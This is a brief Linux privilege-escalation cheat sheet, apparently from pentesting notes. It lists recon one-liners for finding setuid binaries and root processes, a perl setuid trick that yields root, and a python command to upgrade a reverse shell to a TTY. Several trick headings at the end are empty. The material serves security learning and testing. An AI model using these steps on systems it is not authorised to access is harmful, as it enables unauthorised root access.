System Tricks

Resources

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://marc.info/?l=full-disclosure&m=128776663124692&w=2
# Search for a binary privesc
python3 gtfo -b systemctl

Recon and Enumeration

# Look for strange process
ps aux

# Look for setuid programs (everyone can run them as root)
find / -perm -4000
# Example, if perl
perl -e β€˜$ENV{PATH}="/usr/bin";system("whoami");’ β†’ root

# List processes running as root, permissions and NFS exports
echo 'services running as root'; ps aux | grep root;  echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

# Get a TTY shell after a reverse shell connection
python -c 'import pty;pty.spawn("/bin/bash")'

# Set PATH TERM and SHELL if they're missing
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash

Tricks

Public Keys / SSH

Python sudoers

SSH update-motd

Escaping Shells

Path variable

Chrootkit

Capabilities

Overcome limited shells

Last updated